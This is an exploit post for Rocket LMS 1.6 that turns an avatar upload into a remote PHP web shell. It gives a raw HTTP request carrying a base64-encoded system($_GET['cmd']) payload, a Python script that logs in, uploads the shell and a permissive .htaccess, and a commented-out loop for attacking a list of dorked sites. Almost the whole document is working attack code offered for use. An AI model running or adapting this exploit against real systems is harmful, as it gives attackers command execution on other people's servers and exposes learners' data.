Rocket LMS 1.6 Shell Upload

`# Exploit Title: Rocket LMS - Learning Management System Shell Upload  
# Exploit Author: th3d1gger  
# Vendor Homepage: https://codecanyon.net  
# Software Link: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735  
# Version: Version 1.6  
# Tested on Ubuntu 18.04  
  
base64 encode your payload  
after data image write your extension   
upload  
-----  
There is .htaccess restriction on rocket lms public folder upload your own htaccess to avatar folder first.  
  
Enjoy!  
  
  
-------Request-----------  
POST /panel/setting HTTP/1.1  
Host: localhost  
Content-Length: 214  
Cache-Control: max-age=0  
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"  
Origin: http://localhost  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Dest: empty  
Referer: http://localhost/panel/setting/step/2  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlBhNzBxQi96TVJwTm5KdEI0Ry9xUUE9PSIsInZhbHVlIjoiUE80Y2h6WlU2N3FjZDBaMldkZU1pcDg3ZmVLWitZSUxsQVBIc0lHdUV0ZkdtL2JYYzZ0Q2RsL1JSQXhVZWFJZGsrcGlOTGJ5Qk8zWWlTVDVWL3ZlNEY3NFpEc1RaT0NSVS9EL2lFWXQyTEtLQXlFR0RPVjREclI4QkMwdWRQb3hzcEtlZ1ZZanQ0ZDAyYWZOMjNjcWo1anFtSFdRdFYwY2laTlJLbnl2TjBVQWdKTlB6Uk4reWlJUTRNSmkrYkhXU1BJMmxpNU05TngxUklxNEM5azY0bFp4NVg2eHdwT1VSci9Od2RCQklsMD0iLCJtYWMiOiI2NzFjZDkxMDRlYWEyODBmMGUxNDg3YmFmZmQ0M2YwMzhlMmViNTYxYjk3YTZmNTk0YzA1MGFkOGY2YmFkN2I1In0%3D; XSRF-TOKEN=eyJpdiI6IjRqa1JIMXQrd0xuZW1za0FXR0lVbGc9PSIsInZhbHVlIjoidXlybG4rTlRraVpXV1dRSE5EWXcrYnVyZnpYUHRmSmpvQ0tuUUI3WEFDZU5HdWpsbXJBRi9WaStzWXVDNEJLa2UzT3BTSkdobzdPc0dUb0V1TzUyMGdPVHRHY3NNR0x2YlpVT1YxMy9DYXVIMGxERktaZXZtT1pPQUF4Y0N6U0IiLCJtYWMiOiI2MTAyMGJlZmFhNjk2ZWRiOWViYjVlZWNhOWUyYzFmYTJjNjdmYTdmZWNmY2ZhMTFjMTg3NmQwMDAxNjg1OTVjIn0%3D; rocketlms_session=eyJpdiI6Ik1yOGpZZmFGRnJMY1BBYkNBVUhYT1E9PSIsInZhbHVlIjoiOWkrN1JmUHhqc21qTlZqdytPdUJaSnpPQW0ybXNlVGpWLzViVzFpbHpheUF2QUJYRTJNUmpCaC9xZk5CRWg1eGpiVFZ4ejFOOTdLZ3NmNTkrQlhheTBBUGNVVDdPa3IvVWVSeTZ3RndxV2FRdWpWRnVvSHhzY2xKUjMvelB4dTAiLCJtYWMiOiIzNTdlNTNmNGNlMDFlMTU5NWVlOTQ1NjM0YjFjZGU4NWJmMTg5NzIzNmRhMTQxMzc4MDIyZGU2ZDM2N2JiODg2In0%3D  
Connection: close  
  
_token=vILAoLnB2BFEaF35K4kMmwLokzOPLMnryeYXQVzS&step=2&next_step=0&profile_image=data%3Aimage%2FPHP%3Bbase64%2CPD9waHAgJGNtZCA9IHN5c3RlbSgkX0dFVFsnY21kJ10pOwoKZWNobyAkY21kOwo/Pg==  
&cover_img=%2Fstore%2F995%2F7.jpg  
  
  
  
Exploit:  
  
  
import time  
import requests  
import base64  
import re  
  
import traceback  
class Rocket:  
def __init__(self,ssl,host,port,email,password,file):  
self._url_to_upload = "/panel/setting"  
self._url_to_login = "/login"  
self.host = host  
self.port = port  
self.ssl = ssl  
self.email = email  
self.password = password  
self.file = file  
def get_csrf_token(self,client,URL):  
  
fromt = client.get(URL)   
  
if 'XSRF-TOKEN' in client.cookies:  
  
csrftoken = re.findall(r'<input type="hidden" name="_token" value="(.*)"',fromt.text)[0]  
  
return csrftoken  
  
else:  
  
print("Error while fetching token")  
return  
  
def login(self):  
client = requests.session()  
  
  
if self.ssl == True:  
ssl= "https://"  
else:  
ssl= "http://"  
URL = str(ssl+self.host+":"+self.port+self._url_to_login)  
URL2 = str(ssl+self.host+":"+self.port+self._url_to_upload)  
csrftoken = self.get_csrf_token(client,URL)  
fromt = client.get(URL) # sets cookie  
  
login_data = dict(username=self.email, password=self.password, _token=csrftoken, next='/panel')  
r = client.post(URL, data=login_data, cookies=client.cookies)  
  
  
self.upload_shell(client,URL2)  
self.upload_htaccess(client,URL2)  
def upload_shell(self,client,URL):  
csrftoken = self.get_csrf_token(client,URL)  
with open(self.file,"r") as payload:  
to_base64 = payload.read()  
  
to_base64 = str(to_base64).encode("utf-8")  
base64_encoded_data= base64.b64encode(to_base64)  
base64_encoded_data = str(base64_encoded_data)[:-1]  
base64_encoded_data = str(base64_encoded_data)[2:]  
  
string = "data:image/php;base64,"+str(base64_encoded_data)  
data = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img="")  
r = client.post(URL, data=data, cookies=client.cookies)  
print(r.status_code)  
if r.status_code == 200:  
print("sent and uploaded shell :"+URL+"\n")  
  
else:   
print("couldn't upload shell")  
  
  
def upload_htaccess(self,client,URL):  
csrftoken = self.get_csrf_token(client,URL)  
  
string = "data:image/.htaccess;base64,UmV3cml0ZUVuZ2luZSBPbgpPcHRpb25zICtJbmRleGVzClJld3JpdGVCYXNlIC8KQWxsb3cgZnJvbSBhbGwKPEZpbGVzTWF0Y2ggIlwuKD9pOnBocCkkIj4KICAgIDxJZk1vZHVsZSAhbW9kX2F1dGh6X2NvcmUuYz4KICAgICAgT3JkZXIgYWxsb3csZGVueQogICAgICBBbGxvdyBmcm9tIGFsbAogICAgPC9JZk1vZHVsZT4KICAgIDxJZk1vZHVsZSBtb2RfYXV0aHpfY29yZS5jPgogICAgICBSZXF1aXJlIGFsbCBncmFudGVkCiAgICA8L0lmTW9kdWxlPgogIDwvRmlsZXNNYXRjaD4="  
data = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img="")  
r = client.post(URL, data=data, cookies=client.cookies)  
print(r.status_code)  
if r.status_code == 200:  
print("sent and uploaded htaccess:"+URL+"\n")  
print("Go and rename file in filemanager on website")  
else:   
print("couldn't upload htaccess")  
  
  
  
elon = Rocket(True,"localhost","443","[email protected]","student" ,"/home/mm1nd/Desktop/shell.txt")  
elon.login()  
  
  
  
  
#with dork  
# try:  
# with open("sites.txt","r") as urls:  
# url = urls.readlines()  
# ssl = True  
# port = 443  
# for line in url:  
  
# try:  
# if "sslyok" in line:  
# port = 80  
# ssl = False  
# line = str(line.rstrip('%0a'))  
  
# print("trying:"+line)  
# elon = Rocket(ssl,line.rstrip("\n"),str(port),"[email protected]","student" ,"/home/mm1nd/Desktop/shell.txt")  
# elon.login()  
# time.sleep(1)   
# except Exception:  
# #traceback.print_exc()  
# print("atamadim")  
  
# finally:  
# print("okey")  
# except Exception:  
# print("atamadim")   
  
  
`